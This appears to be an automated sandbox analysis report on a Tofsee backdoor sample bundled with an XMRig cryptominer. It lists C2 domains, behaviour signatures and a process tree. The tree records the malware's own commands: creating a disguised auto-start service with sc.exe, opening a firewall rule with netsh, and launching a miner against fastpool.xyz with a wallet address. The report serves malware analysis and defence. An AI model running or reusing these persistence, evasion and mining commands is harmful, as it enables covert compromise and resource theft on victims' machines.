Overview

overview

10

Static

static

a1d2379673...b2.exe

windows7_x64

10

a1d2379673...b2.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    20/10/2021, 06:23

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General

  • Target
    a1d23796732487b40ce43b22983327b2.exe
  • Size 279KB
  • Sample211020-g5gfeahfcp
  • SHA256 84839e5c70038104b4d9fbf20988ebc952ea698be6d46c0ad5ed072897427b3f
  • MD5 SHA1 SHA512
Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

  • tofsee

C2

  • quadoil.ru

  • lakeflex.ru

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 1 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1d23796732487b40ce43b22983327b2.exe
    "C:\Users\Admin\AppData\Local\Temp\a1d23796732487b40ce43b22983327b2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rjxovwgn\
      2⤵
        PID:1896
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qafszuti.exe" C:\Windows\SysWOW64\rjxovwgn\
        2⤵
          PID:668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rjxovwgn binPath= "C:\Windows\SysWOW64\rjxovwgn\qafszuti.exe /d\"C:\Users\Admin\AppData\Local\Temp\a1d23796732487b40ce43b22983327b2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:564
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rjxovwgn "wifi internet conection"
            2⤵
              PID:1356
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rjxovwgn
              2⤵
                PID:1492
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1852
              • C:\Windows\SysWOW64\rjxovwgn\qafszuti.exe
                C:\Windows\SysWOW64\rjxovwgn\qafszuti.exe /d"C:\Users\Admin\AppData\Local\Temp\a1d23796732487b40ce43b22983327b2.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1656
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1432
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:1796

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      memory/1128-55-0x0000000074B41000-0x0000000074B43000-memory.dmp
                      Download

                      memory/1128-56-0x0000000000220000-0x0000000000233000-memory.dmp
                      Download

                      memory/1128-54-0x0000000002FED000-0x0000000002FFB000-memory.dmp
                      Download

                      memory/1128-58-0x0000000000400000-0x0000000002F0D000-memory.dmp
                      Download

                      memory/1432-69-0x0000000000100000-0x0000000000115000-memory.dmp
                      Download

                      memory/1432-70-0x0000000000100000-0x0000000000115000-memory.dmp
                      Download

                      memory/1432-74-0x0000000000100000-0x0000000000115000-memory.dmp
                      Download

                      memory/1656-66-0x000000000030D000-0x000000000031B000-memory.dmp
                      Download

                      memory/1656-73-0x0000000000400000-0x0000000002F0D000-memory.dmp
                      Download

                      memory/1796-75-0x0000000000290000-0x0000000000381000-memory.dmp
                      Download

                      memory/1796-76-0x0000000000290000-0x0000000000381000-memory.dmp
                      Download